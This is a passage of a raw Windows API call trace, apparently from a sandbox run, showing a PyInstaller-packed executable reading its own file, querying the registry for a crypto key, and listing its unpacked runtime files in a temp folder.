hHeap=0x2ad0000) returned 1 [0072.046] GetCurrentThreadId () returned 0x9b0 [0072.046] GetCurrentThreadId () returned 0x9b0 [0072.046] GetLastError () returned 0x5 [0072.047] SetLastError (dwErrCode=0x5) [0072.047] GetLastError () returned 0x5 [0072.047] SetLastError (dwErrCode=0x5) [0072.047] GetLastError () returned 0x5 [0072.047] SetLastError (dwErrCode=0x5) [0072.047] GetLastError () returned 0x5 [0072.047] SetLastError (dwErrCode=0x5) [0072.047] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x25) returned 0x2a20108 [0072.047] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fdf8 [0072.047] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fdf8 | out: hHeap=0x2ad0000) returned 1 [0072.047] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x2ad65c8 [0072.047] GetLastError () returned 0x5 [0072.047] SetLastError (dwErrCode=0x5) [0072.047] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9ba720, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0072.047] GetFileType (hFile=0x1d4) returned 0x1 [0072.047] GetFileType (hFile=0x1d4) returned 0x1 [0072.047] GetFileInformationByHandle (in: hFile=0x1d4, lpFileInformation=0x9ba79c | out: lpFileInformation=0x9ba79c) returned 1 [0072.048] FileTimeToLocalFileTime (in: lpFileTime=0x9ba7b0, lpLocalFileTime=0x9ba7e0 | out: lpLocalFileTime=0x9ba7e0) returned 1 [0072.048] FileTimeToSystemTime (in: lpFileTime=0x9ba7e0, lpSystemTime=0x9ba7d0 | out: lpSystemTime=0x9ba7d0) returned 1 [0072.048] FileTimeToLocalFileTime (in: lpFileTime=0x9ba7a8, lpLocalFileTime=0x9ba7e0 | out: lpLocalFileTime=0x9ba7e0) returned 1 [0072.048] FileTimeToSystemTime (in: lpFileTime=0x9ba7e0, lpSystemTime=0x9ba7d0 | out: lpSystemTime=0x9ba7d0) returned 1 [0072.048] FileTimeToLocalFileTime (in: lpFileTime=0x9ba7a0, lpLocalFileTime=0x9ba7e0 | out: lpLocalFileTime=0x9ba7e0) returned 1 [0072.048] FileTimeToSystemTime (in: lpFileTime=0x9ba7e0, lpSystemTime=0x9ba7d0 | out: lpSystemTime=0x9ba7d0) returned 1 [0072.048] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad65c8 | out: hHeap=0x2ad0000) returned 1 [0072.048] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20108 | out: hHeap=0x2ad0000) returned 1 [0072.048] GetLastError () returned 0x0 [0072.048] SetLastError (dwErrCode=0x0) [0072.061] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x9ba850*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9ba850*=0) returned 0x0 [0072.071] GetCurrentThreadId () returned 0x9b0 [0072.071] GetLastError () returned 0x0 [0072.071] SetLastError (dwErrCode=0x0) [0072.071] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=6653393, lpDistanceToMoveHigh=0x9bab20*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9bab20*=0) returned 0x6585d1 [0072.071] GetCurrentThreadId () returned 0x9b0 [0072.071] GetLastError () returned 0x0 [0072.071] SetLastError (dwErrCode=0x0) [0072.071] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1000) returned 0x2a72740 [0072.071] ReadFile (in: hFile=0x1d4, lpBuffer=0x2a72740, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9baad4, lpOverlapped=0x0 | out: lpBuffer=0x2a72740*, lpNumberOfBytesRead=0x9baad4*=0x1000, lpOverlapped=0x0) returned 1 [0072.072] GetCurrentThreadId () returned 0x9b0 [0072.072] GetLastError () returned 0x0 [0072.072] SetLastError (dwErrCode=0x0) [0072.072] GetCurrentThreadId () returned 0x9b0 [0072.072] GetLastError () returned 0x0 [0072.072] SetLastError (dwErrCode=0x0) [0072.072] GetCurrentThreadId () returned 0x9b0 [0072.072] GetLastError () returned 0x0 [0072.073] SetLastError (dwErrCode=0x0) [0072.073] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=6653401, lpDistanceToMoveHigh=0x9bab20*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9bab20*=0) returned 0x6585d9 [0072.073] GetCurrentThreadId () returned 0x9b0 [0072.073] GetLastError () returned 0x0 [0072.073] SetLastError (dwErrCode=0x0) [0072.073] ReadFile (in: hFile=0x1d4, lpBuffer=0x2a72740, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x9baad4, lpOverlapped=0x0 | out: lpBuffer=0x2a72740*, lpNumberOfBytesRead=0x9baad4*=0x200, lpOverlapped=0x0) returned 1 [0072.073] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2a715e0 [0072.073] GetCurrentThreadId () returned 0x9b0 [0072.073] GetLastError () returned 0x0 [0072.073] SetLastError (dwErrCode=0x0) [0072.073] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=8894995, lpDistanceToMoveHigh=0x9bab20*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9bab20*=0) returned 0x87ba13 [0072.073] GetCurrentThreadId () returned 0x9b0 [0072.074] GetFileType (hFile=0x1d4) returned 0x1 [0072.074] GetFileInformationByHandle (in: hFile=0x1d4, lpFileInformation=0x9bab48 | out: lpFileInformation=0x9bab48) returned 1 [0072.074] FileTimeToLocalFileTime (in: lpFileTime=0x9bab5c, lpLocalFileTime=0x9bab8c | out: lpLocalFileTime=0x9bab8c) returned 1 [0072.074] FileTimeToSystemTime (in: lpFileTime=0x9bab8c, lpSystemTime=0x9bab7c | out: lpSystemTime=0x9bab7c) returned 1 [0072.074] FileTimeToLocalFileTime (in: lpFileTime=0x9bab54, lpLocalFileTime=0x9bab8c | out: lpLocalFileTime=0x9bab8c) returned 1 [0072.074] FileTimeToSystemTime (in: lpFileTime=0x9bab8c, lpSystemTime=0x9bab7c | out: lpSystemTime=0x9bab7c) returned 1 [0072.074] FileTimeToLocalFileTime (in: lpFileTime=0x9bab4c, lpLocalFileTime=0x9bab8c | out: lpLocalFileTime=0x9bab8c) returned 1 [0072.074] FileTimeToSystemTime (in: lpFileTime=0x9bab8c, lpSystemTime=0x9bab7c | out: lpSystemTime=0x9bab7c) returned 1 [0072.074] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x87ba13 [0072.074] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x87ba13 [0072.074] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x11658) returned 0x2a77fc8 [0072.075] GetLastError () returned 0x0 [0072.075] SetLastError (dwErrCode=0x0) [0072.075] ReadFile (in: hFile=0x1d4, lpBuffer=0x2a77fdc, nNumberOfBytesToRead=0x11600, lpNumberOfBytesRead=0x9baae8, lpOverlapped=0x0 | out: lpBuffer=0x2a77fdc*, lpNumberOfBytesRead=0x9baae8*=0x11600, lpOverlapped=0x0) returned 1 [0072.076] ReadFile (in: hFile=0x1d4, lpBuffer=0x2a72740, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x9baad4, lpOverlapped=0x0 | out: lpBuffer=0x2a72740*, lpNumberOfBytesRead=0x9baad4*=0x42, lpOverlapped=0x0) returned 1 [0072.077] ReadFile (in: hFile=0x1d4, lpBuffer=0x2a72740, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9baad4, lpOverlapped=0x0 | out: lpBuffer=0x2a72740*, lpNumberOfBytesRead=0x9baad4*=0x0, lpOverlapped=0x0) returned 1 [0072.077] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a77fc8, Size=0x11657) returned 0x2a77fc8 [0072.077] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x794) returned 0x2a89628 [0072.077] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fdf8 [0072.077] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fdf8, Size=0x20) returned 0x2a1fad8 [0072.077] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fad8, Size=0x40) returned 0x2a2ca38 [0072.077] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a2ca38, Size=0x64) returned 0x2a70ee0 [0072.077] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3dc) returned 0x2a73748 [0072.077] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a70ee0, Size=0x8c) returned 0x2a70ee0 [0072.077] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a70ee0, Size=0xb8) returned 0x2a70ee0 [0072.078] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3dc) returned 0x2a73b30 [0072.078] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3dc) returned 0x2a73f18 [0072.078] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a70ee0, Size=0xe8) returned 0x2a70ee0 [0072.078] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3dc) returned 0x2a74300 [0072.078] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a70ee0, Size=0x120) returned 0x2a70ee0 [0072.078] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a70ee0, Size=0x160) returned 0x2a70ee0 [0072.079] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a70ee0, Size=0x1a8) returned 0x2a779e8 [0072.079] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3dc) returned 0x2a746e8 [0072.079] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a779e8, Size=0x1f8) returned 0x2a6e870 [0072.079] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3dc) returned 0x2a74ad0 [0072.079] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a6e870 | out: hHeap=0x2ad0000) returned 1 [0072.079] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a77fc8 | out: hHeap=0x2ad0000) returned 1 [0072.079] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a70160 [0072.079] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2a23990 [0072.080] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a70160 | out: hHeap=0x2ad0000) returned 1 [0072.080] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1800) returned 0x2a74eb8 [0072.080] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a23990 | out: hHeap=0x2ad0000) returned 1 [0072.080] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x6000) returned 0x2a77fc8 [0072.081] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a74eb8 | out: hHeap=0x2ad0000) returned 1 [0072.081] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a89628 | out: hHeap=0x2ad0000) returned 1 [0072.081] GetCurrentThreadId () returned 0x9b0 [0072.081] GetLastError () returned 0x0 [0072.081] SetLastError (dwErrCode=0x0) [0072.081] SetFilePointer (in: hFile=0x1d4, lDistanceToMove=0, lpDistanceToMoveHigh=0x9b9874*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x9b9874*=0) returned 0x88d055 [0072.082] GetLastError () returned 0x0 [0072.082] SetLastError (dwErrCode=0x0) [0072.082] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a72740 | out: hHeap=0x2ad0000) returned 1 [0072.082] CloseHandle (hObject=0x1d4) returned 1 [0072.082] GetCurrentThreadId () returned 0x9b0 [0072.082] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a70ee0 [0072.082] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a779e8 [0072.082] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a6e870 [0072.082] GetCurrentThreadId () returned 0x9b0 [0072.082] GetCurrentThreadId () returned 0x9b0 [0072.082] GetLastError () returned 0x0 [0072.082] SetLastError (dwErrCode=0x0) [0072.082] RegQueryValueA (in: hKey=0x80000001, lpSubKey="Software\\Python\\PythonCore\\2.7\\Modules\\pyimod00_crypto_key", lpData=0x2a779e8, lpcbData=0x9bab74 | out: lpData="", lpcbData=0x9bab74) returned 0x2 [0072.082] RegQueryValueA (in: hKey=0x80000002, lpSubKey="Software\\Python\\PythonCore\\2.7\\Modules\\pyimod00_crypto_key", lpData=0x2a779e8, lpcbData=0x9bab74 | out: lpData="", lpcbData=0x9bab74) returned 0x2 [0072.083] GetLastError () returned 0x0 [0072.083] SetLastError (dwErrCode=0x0) [0072.083] GetLastError () returned 0x0 [0072.083] SetLastError (dwErrCode=0x0) [0072.083] FindFirstFileA (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1", lpFindFileData=0x9ba750 | out: lpFindFileData=0x9ba750*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdd4b7ceb, ftCreationTime.dwHighDateTime=0x1d5215d, ftLastAccessTime.dwLowDateTime=0xe2f4b867, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xe2f4b867, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x80, cFileName="_MEI11842", cAlternateFileName="_MEI11~1")) returned 0x1055aa0 [0072.084] FileTimeToLocalFileTime (in: lpFileTime=0x9ba764, lpLocalFileTime=0x9ba734 | out: lpLocalFileTime=0x9ba734) returned 1 [0072.084] FileTimeToSystemTime (in: lpFileTime=0x9ba734, lpSystemTime=0x9ba73c | out: lpSystemTime=0x9ba73c) returned 1 [0072.084] FileTimeToLocalFileTime (in: lpFileTime=0x9ba75c, lpLocalFileTime=0x9ba734 | out: lpLocalFileTime=0x9ba734) returned 1 [0072.084] FileTimeToSystemTime (in: lpFileTime=0x9ba734, lpSystemTime=0x9ba73c | out: lpSystemTime=0x9ba73c) returned 1 [0072.084] FileTimeToLocalFileTime (in: lpFileTime=0x9ba754, lpLocalFileTime=0x9ba734 | out: lpLocalFileTime=0x9ba734) returned 1 [0072.084] FileTimeToSystemTime (in: lpFileTime=0x9ba734, lpSystemTime=0x9ba73c | out: lpSystemTime=0x9ba73c) returned 1 [0072.084] FindClose (in: hFindFile=0x1055aa0 | out: hFindFile=0x1055aa0) returned 1 [0072.084] GetLastError () returned 0x0 [0072.084] SetLastError (dwErrCode=0x0) [0072.084] GetFileAttributesA (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11~1")) returned 0x10 [0072.084] GetFileAttributesA (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\pyimod00_crypto_key" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11~1\\pyimod00_crypto_key")) returned 0xffffffff [0072.085] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\pyimod00_crypto_key.pyd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11~1\\pyimod00_crypto_key.pyd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9baa50, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0072.085] GetLastError () returned 0x2 [0072.085] GetLastError () returned 0x2 [0072.085] SetLastError (dwErrCode=0x2) [0072.085] GetLastError () returned 0x2 [0072.085] SetLastError (dwErrCode=0x2) [0072.085] GetLastError () returned 0x2 [0072.085] SetLastError (dwErrCode=0x2) [0072.085] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\pyimod00_crypto_key.py" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11~1\\pyimod00_crypto_key.py"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9baa50, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0072.085] GetLastError () returned 0x2 [0072.085] GetLastError () returned 0x2 [0072.085] SetLastError (dwErrCode=0x2) [0072.085] GetLastError () returned 0x2 [0072.085] SetLastError (dwErrCode=0x2) [0072.085] GetLastError () returned 0x2 [0072.085] SetLastError (dwErrCode=0x2) [0072.086] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\pyimod00_crypto_key.pyw" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11~1\\pyimod00_crypto_key.pyw"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9baa50, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0072.086] GetLastError () returned 0x2 [0072.086] GetLastError () returned 0x2 [0072.086] SetLastError (dwErrCode=0x2) [0072.086] GetLastError () returned 0x2 [0072.086] SetLastError (dwErrCode=0x2) [0072.086] GetLastError () returned 0x2 [0072.086] SetLastError (dwErrCode=0x2) [0072.086] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\pyimod00_crypto_key.pyc" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11~1\\pyimod00_crypto_key.pyc"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9baa50, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0072.086] GetLastError () returned 0x2 [0072.086] GetLastError () returned 0x2 [0072.086] SetLastError (dwErrCode=0x2) [0072.086] GetLastError () returned 0x2 [0072.086] SetLastError (dwErrCode=0x2) [0072.086] GetLastError () returned 0x2 [0072.086] SetLastError (dwErrCode=0x2) [0072.086] GetLastError () returned 0x2 [0072.087] SetLastError (dwErrCode=0x2) [0072.087] GetLastError () returned 0x2 [0072.087] SetLastError (dwErrCode=0x2) [0072.087] GetLastError () returned 0x2 [0072.087] SetLastError (dwErrCode=0x2) [0072.087] GetLastError () returned 0x2 [0072.087] SetLastError (dwErrCode=0x2) [0072.087] GetLastError () returned 0x2 [0072.087] SetLastError (dwErrCode=0x2) [0072.087] FindFirstFileA (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", lpFindFileData=0x9ba750 | out: lpFindFileData=0x9ba750*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xd1c26040, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xd1c26040, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1008, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x10555e0 [0072.087] FileTimeToLocalFileTime (in: lpFileTime=0x9ba764, lpLocalFileTime=0x9ba734 | out: lpLocalFileTime=0x9ba734) returned 1 [0072.087] FileTimeToSystemTime (in: lpFileTime=0x9ba734, lpSystemTime=0x9ba73c | out: lpSystemTime=0x9ba73c) returned 1 [0072.087] FileTimeToLocalFileTime (in: lpFileTime=0x9ba75c, lpLocalFileTime=0x9ba734 | out: lpLocalFileTime=0x9ba734) returned 1 [0072.087] FileTimeToSystemTime (in: lpFileTime=0x9ba734, lpSystemTime=0x9ba73c | out: lpSystemTime=0x9ba73c) returned 1 [0072.087] FileTimeToLocalFileTime (in: lpFileTime=0x9ba754, lpLocalFileTime=0x9ba734 | out: lpLocalFileTime=0x9ba734) returned 1 [0072.087] FileTimeToSystemTime (in: lpFileTime=0x9ba734, lpSystemTime=0x9ba73c | out: lpSystemTime=0x9ba73c) returned 1 [0072.087] FindClose (in: hFindFile=0x10555e0 | out: hFindFile=0x10555e0) returned 1 [0072.087] GetLastError () returned 0x2 [0072.087] SetLastError (dwErrCode=0x2) [0072.087] GetFileAttributesA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE?6653393" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe?6653393")) returned 0xffffffff [0072.088] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a6e870 | out: hHeap=0x2ad0000) returned 1 [0072.088] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a779e8 | out: hHeap=0x2ad0000) returned 1 [0072.088] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a70ee0 | out: hHeap=0x2ad0000) returned 1 [0072.088] GetCurrentThreadId () returned 0x9b0 [0072.088] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2a6fe50 [0072.088] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a715c0, Size=0x10) returned 0x2a1fdf8 [0072.088] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x794) returned 0x2a72740 [0072.088] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x100) returned 0x2a70ee0 [0072.088] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x400) returned 0x2a72ee0 [0072.088] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a70ee0 | out: hHeap=0x2ad0000) returned 1 [0072.088] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1000) returned 0x2a74eb8 [0072.089] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a72ee0 | out: hHeap=0x2ad0000) returned 1 [0072.089] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4000) returned 0x2a7dfd0 [0072.089] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a74eb8 | out: hHeap=0x2ad0000) returned 1 [0072.089] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a72740 | out: hHeap=0x2ad0000) returned 1 [0072.089] GetCurrentThreadId () returned 0x9b0 [0072.089] GetLastError () returned 0x7b [0072.089] SetLastError (dwErrCode=0x7b) [0072.089] GetLastError () returned 0x7b [0072.089] SetLastError (dwErrCode=0x7b) [0072.089] GetLastError () returned 0x7b [0072.090] SetLastError (dwErrCode=0x7b) [0072.090] GetLastError () returned 0x7b [0072.090] SetLastError (dwErrCode=0x7b) [0072.090] FindFirstFileA (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\*.*", lpFindFileData=0x9bada8 | out: lpFindFileData=0x9bada8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdd4b7ceb, ftCreationTime.dwHighDateTime=0x1d5215d, ftLastAccessTime.dwLowDateTime=0xe2f4b867, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xe2f4b867, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bab64, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10556e0 [0072.090] FindNextFileA (in: hFindFile=0x10556e0, lpFindFileData=0x9bada8 | out: lpFindFileData=0x9bada8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdd4b7ceb, ftCreationTime.dwHighDateTime=0x1d5215d, ftLastAccessTime.dwLowDateTime=0xe2f4b867, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xe2f4b867, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bab64, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0072.090] FindNextFileA (in: hFindFile=0x10556e0, lpFindFileData=0x9bada8 | out: lpFindFileData=0x9bada8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xddc55804, ftCreationTime.dwHighDateTime=0x1d5215d, ftLastAccessTime.dwLowDateTime=0xddc55804, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xddc55804, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0x11600, dwReserved0=0x9bab64, dwReserved1=0x73013d47, cFileName="bz2.pyd", cAlternateFileName="")) returned 1 [0072.090] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a1fd50 [0072.090] FindNextFileA (in: hFindFile=0x10556e0, lpFindFileData=0x9bada8 | out: lpFindFileData=0x9bada8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdd4b7ceb, ftCreationTime.dwHighDateTime=0x1d5215d, ftLastAccessTime.dwLowDateTime=0xdd7f4505, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xdd7f4505, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bab64, dwReserved1=0x73013d47, cFileName="Crypto", cAlternateFileName="")) returned 1 [0072.090] FindNextFileA (in: hFindFile=0x10556e0, lpFindFileData=0x9bada8 | out: lpFindFileData=0x9bada8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xde41520a, ftCreationTime.dwHighDateTime=0x1d5215d, ftLastAccessTime.dwLowDateTime=0xde41520a, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xde41520a, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bab64, dwReserved1=0x73013d47, cFileName="Include", cAlternateFileName="")) returned 1 [0072.090] FindNextFileA (in: hFindFile=0x10556e0, lpFindFileData=0x9bada8 | out: lpFindFileData=0x9bada8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd7f4505, ftCreationTime.dwHighDateTime=0x1d5215d, ftLastAccessTime.dwLowDateTime=0xdd7f4505, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xdd7f4505, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0x41a, dwReserved0=0x9bab64, dwReserved1=0x73013d47, cFileName="Microsoft.VC90.CRT.manifest", cAlternateFileName="MICROS~1.MAN")) returned 1 [0072.090] FindNextFileA (in: hFindFile=0x10556e0, lpFindFileData=0x9bada8 | out: lpFindFileData=0x9bada8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xddc7ba19, ftCreationTime.dwHighDateTime=0x1d5215d, ftLastAccessTime.dwLowDateTime=0xddc7ba19, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xddc7ba19, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0x37000, dwReserved0=0x9bab64, dwReserved1=0x73013d47, cFileName="msvcm90.dll", cAlternateFileName="")) returned 1 [0072.090] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fd50, Size=0x20) returned 0x2a1f970 [0072.090] FindNextFileA (in: hFindFile=0x10556e0, lpFindFileData=0x9bada8 | out: lpFindFileData=0x9bada8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xddcc7f01, ftCreationTime.dwHighDateTime=0x1d5215d, ftLastAccessTime.dwLowDateTime=0xddcc7f01, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xddcee14e, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0x8b490, dwReserved0=0x9bab64, dwReserved1=0x0, cFileName="msvcp90.dll", cAlternateFileName="")) returned 1 [0072.090] FindNextFileA (in: hFindFile=0x10556e0, lpFindFileData=0x9bada8 | out: lpFindFileData=0x9bada8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xddd14536, ftCreationTime.dwHighDateTime=0x1d5215d, ftLastAccessTime.dwLowDateTime=0xddd14536, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xddd60857, ftLastWriteTime.dwHighDateTime=0x1d5215d, 